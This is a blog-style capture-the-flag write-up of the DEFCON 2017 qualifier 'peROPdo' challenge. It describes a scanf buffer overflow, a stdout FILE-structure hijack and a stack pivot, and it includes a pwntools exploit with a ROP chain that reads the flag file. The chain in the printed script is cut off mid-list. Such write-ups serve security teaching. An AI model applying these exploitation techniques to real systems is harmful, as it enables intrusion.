Hacking Tube

DEFCON CTF 2017 Quals -- peROPdo

| Comments

Category: Potent Pwnables

32 bit ELF, static link, stripped, NX enabled, No PIE & canary.

The program is a "rolling dice" program. First we input our name, then the program will ask us how many dice would we like to roll. After we input a number, the program will start generating some random data, then store them on the stack memory. The program will then print out data[i] % 6 + 1, which represent the numbers we roll in this round.

There're two vulnerabilities in the program. First it use scanf("%s", name) to read our name, which lead to buffer overflow in the name buffer. Then, if we input a number that is larger than 23, the data that program generated will overflow the data[i] buffer and thus overwrite the return address ( it will be a random data though ).

Since the binary was stripped, I wasn't sure which algorithm the program used for randomizing, the only thing I knew is that the algorithm will use our name to generate the random data. At that moment, I thought it was just some self-implement function ( which is NOT correct, we'll get into that later).

And so I thought "Hmmm, maybe I could use some symbolic execution tool to calculate the address I want to return, and do the ROP attack". This was such a huge mistake, since I'm not familiar with any of the symbolic execution tools -- angr, Triton, not to mention the fresh out manticore. Even worse, all of the tool failed to calculate the address -- Triton and manticore couldn't even execute the program, it just crashed :(

After wasting lots of time with those symbolic execution tools, I decided to try something different -- the first vulnerability: overflowing the name buffer. And the result was encouraging -- since I found that I could hijack the control flow by using the call reg and the call [reg+offset] gadget ( we can control the content of several registers ). It seems that there're some FILE* pointer behind the name buffer, so we can exploit the service by abusing the FILE structure ( we can't control the function parameters though).

Here I chose to use the second gadget ( call [reg+offset] ), since when the program execute to that line of code, its second parameter will be the FILE* pointer of stdout. I control the eip and jump to the middle of the main function:

mov     dword ptr [esp+4], offset name
mov     dword ptr [esp], (offset aSSSS+8) ; "%s" <--- I jump to here
call    scanf
mov     eax, ds:name
mov     [esp], eax
call    sub_0804baf0
mov     dword ptr [esp], offset name
call    do_main

This will make the program store the %s string to the first parameter, then call the scanf function, making the program calling scanf("%s", stdout) -- and thus we can control the content of stdout !

By crafting stdout, we can actually hijack the control flow, while having the first parameter controlled. This allowed us to do some advanced ROP attack. Here's what I did after I controlled the eip:

  1. Jump to xchg esp, eax gadget, migrate the stack to stdout (which now controlled by us)
  2. Use add esp, offset to skip the uncontrollable member data in stdout
  3. Since it's a static linked binary, it's easy for us to find some gadgets and do the open/read/write syscall, making the service print out the flag of the challenge. (The execve syscall seems to be filtered out in this challenge)

Final exploit:

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "peropdo_bb53b90b35dba86353af36d3c6862621.quals.shallweplayaga.me"
PORT = 80
ELF_PATH = "./peropdo"

context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']

context.terminal = ['tmux', 'splitw'] # for gdb.attach

elf = context.binary # context.binary is an ELF object

if __name__ == "__main__":

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)

    #gdb.attach(r, gdbscript=open("./ggg", "r"))

    func = 0x0806d7aa # avoid crash

    scanf = 0x08048b2a
    name = p32(scanf) + p32(func) + "\x42"*972 + p32(0x80ecdf4) + '\x00'*92  + p32(0x80ecdf8) 
    r.sendlineafter("name?", name)

    # Later the program will call scanf("%s", stdout);

    # now we can overwrite the whole stdout FILE structure

    stream = p32(0x08079824) # second gadget: add esp, 0x84....

    stream += "/home/peropdo/flag\x00" # flag path

    stream = stream.ljust(0x1c, '\0')
    stream += p32(0x804b45c) # eip, first gadget: xchg esp, eax ; ret

    stream = stream.ljust(0x48, '\0')
    stream += p32(0x080ED3E8) # pointer to null

    stream = stream.ljust(0x90, '\0')
    stream += p32(0x807982b) # third gadget: pop; ret

    stream += p32(0x80eb2a0) # fake jump table

    # 0x08074f2e : mov eax, 5 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 

    # 0x08079465 : mov ebx, eax ; mov eax, ebx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

    pop_ebx = 0x806f322  # pop ebx;ret

    pop_eax = 0x80e3525  # pop eax;ret

    pop_ecx = 0x080e5ee1 # pop ecx ; ret 

    pop_edx = 0x0806f2fa # pop edx ; ret

    int80 = 0x806fae0    # int 0x80 ; ret 

    buf = 0x80ed000-0x100
    rop = flat(
                0x08074f2e, # mov eax = 5 (open), pop ebx...

                0x80eb2a4, # ptr to flag path

                3, # read

                3, #fd

                1, # fd,

                4, # write


    r.sendline(stream + rop)

flag: Thanks to Kenshoto for the inspiration! 5fbb34920c457b2e0855a174b8de3ebc

Later did I know (thanks to teammate Isaac) that there's a thing call FLIRT in IDA Pro, which can help the user identify the function call in libc. All we need to do is download a FLIRT signature database from github ( here's the DB I used for this challenge ), and use FILE --> Load File --> FLIRT signature file to load the database. IDA will then identify the function name, making the reverse engineering less painful. By using this technique, we'll be able to identify some libc function, even the location of stdout.

And that's when I found that the "self-implement random" function is actually just srand() & rand() in libc. According to meh from HITCON, you can just brute-force the desired return address. Moreover, because the name buffer address is right under the return address, so you can just use pop esp; ret to migrate the stack into name buffer, and do the ROP attack. Guess I still got a lot of shit to learn :/


comments powered by Disqus